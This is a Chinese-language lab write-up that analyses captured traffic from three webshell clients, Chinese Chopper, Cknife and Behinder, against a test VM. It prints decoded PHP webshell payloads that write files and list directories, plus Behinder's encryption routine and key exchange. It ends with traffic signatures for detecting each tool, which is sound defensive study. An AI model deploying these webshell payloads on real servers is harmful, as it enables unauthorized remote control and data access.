通过使用cknife,菜刀,冰蝎三种WebShell,使用wireshark抓包分析数据,了解这三者的工作原理。

菜刀使用

通过在靶机上挂马,使用菜刀连接靶机

获得靶机网站管理

写入一个文件

然后用wireshark抓包分析通信流量看看

通信端口在80,以http post通讯

追踪流

红色部分即为客户端的数据

通过分析可以看到基本信息

post方式

User-Agent:为Mozilla/5.0

Host:192.168.147.131

Content-Length:458

可以看到,红色框起来的部分为传输的数据,123是我设置的密码,这里使用base64加密数据,$XX中即为加密的内容

使用解码工具将加密的数据进行解码

@ini_set("display_errors","0");@set_time_limit;if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime;};echo("X@Y");echo fwrite(fopen('C:\Users\hxy\Desktop\NewFile.txt','w'),$_POST['z1'])?'1':'0';;echo("X@Y");die();

Z1中则是传输的数据,通过URL解码方式

&z1=%CA%FD%BE%DD%BC%D3%D4%D8%B3%C9%B9%A6%A3%A1POST /1.php HTTP/1.1

解密后的内容和写入文件内容一致。

@ini_set("display_errors","0");@set_time_limit;if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime;};echo("X@Y");$D='C:\Users\hxy\Desktop\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();

通过查阅资料了解解密后的内容

@ini_set("display_errors","0");临时关闭PHP的错误显示功能

@set_time_limit;防止像dir、上传文件大马时超时

@set_magic_quotes_runtime;关闭魔术引号

然后就是文件的读写操作。

从解密的数据中可以看出客户端与shell的通信方式(了解大致过程)。

Cknife使用

使用cknife连接靶机,然后使用wireshark抓包分析

创建一个文件

抓包并追踪流(这里只看攻击数据)

对数据流分析

从图中可以看到基本的信息,头部信息和菜刀差不多。主要是在base64加密上有所差异,

Cknife对加密的数据进行了分段处理(通过%号区别,%2B用加号代替,%3D用等号代替)

解密的数据为:

@ini_set("display_errors","0");@set_time_limit;@set_magic_quotes_runtime;echo("-|");;echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;echo("|<-");die();

z1=C:\Users\hxy\Desktop\C'dao.txt

z2=Cdao finish!!!

@ini_set("display_errors","0");@set_time_limit;@set_magic_quotes_runtime;echo("-|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."

";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

z1=C:\Users\hxy\Desktop\

通过解码后的数据可以看出通信过程的具体命令。

冰蝎使用

一开始还不是很清楚冰蝎,首先通过查找资料了解冰蝎加密原理,然后进行抓包分析。

先使用冰蝎连接靶机(注入方式和菜刀、Cknife不太一样)

使用wireshark抓包分析:

首包的信息:

完整URL 192.168.147.140/shell.php?pass=616

首包响应状态码 200

Content-Length: 16

这里的“pass”为嵌入的密码

可以看到get请求得到随机密钥,server返回生成的16位密钥,get请求的sessionID

为0njfodvq5r18hcsiqtlpmnjqo0,返回的密钥为4cb72b5416d4cdee

客户端获取密钥后,对要执行的命令进行AES加密,加密后的流量如下:

用密钥解密信息

解密后执行的命令被base64编码了,进一步进行base64解码后,得到执行的命令如下

@error_reporting;

function main($content)

{

​ $result = array();

​ $result["status"] = base64_encode("success");

$result["msg"] = base64_encode($content);

$key = $_SESSION['k'];

echo encrypt(json_encode($result),$key);

}

function encrypt($data,$key)

{

​ if(!extension_loaded('openssl'))

​ {

​ for($i=0;$i<strlen($data);$i++) {

​ $data[$i] = $data[$i]^$key[$i+1&15];

​ }

​ return $data;

​ }

else

​ {

​ return openssl_encrypt($data, "AES128", $key);

​ }

}$content="7aea6b15-e26c-4a3a-a756-52dfe6769fa4";

main($content);

可以看到,经过处理,命令执行的结果保存在json串result中,result["status"] 表示命令是否执行成功,result["msg"]表示命令执行的结果。冰蝎对执行的返回结果result也进行了加密,加密方式也是采用的AES(如果php没有开启openssl扩展,在采用明文和密钥逐位异或进行加密),密钥也是利用第一步随机get产生的密钥。

总结

​ 通过对菜刀、Cknife、冰蝎数据包的分析,大致了解了它们的工作原理。

​ 菜刀特征点:1. ”Ba”.”SE6″.”4_dEc”.”OdE”,这部分是将base64解码打断使用来连接。

​ 2.base64加密部分,该部分是传递攻击payload,payload依旧使用base64编码的,所以可以利用base64解码可以看到攻击明文来识别。所以菜刀攻击流量很容易被检测出来。

​ Cknife特征就是在body部分的参数值也是使用base64编码,将该部分进行base64解码后,其流量特征同菜刀一致,差别主要是体现在Cknife会将加密的信息进行分段处理。

​ 冰蝎相对于菜刀和Cknife功能更加强大,同时也难以被检测。主要是冰蝎在通信过程中将流量加密。同时也注意到,冰蝎加密过程中需要经历两个密钥请求阶段,可以利用这个特征进行检测。冰蝎每一次连接请求都会向服务端发送一次GET请求获取16位的密钥,这16位的字符串就是密钥,在客户端和服务端的通信过程中使用密钥进行加密以达到免杀的目的,因此在流量中发现这样特征的流量,便可以发现隐藏在流量中的冰蝎webshell。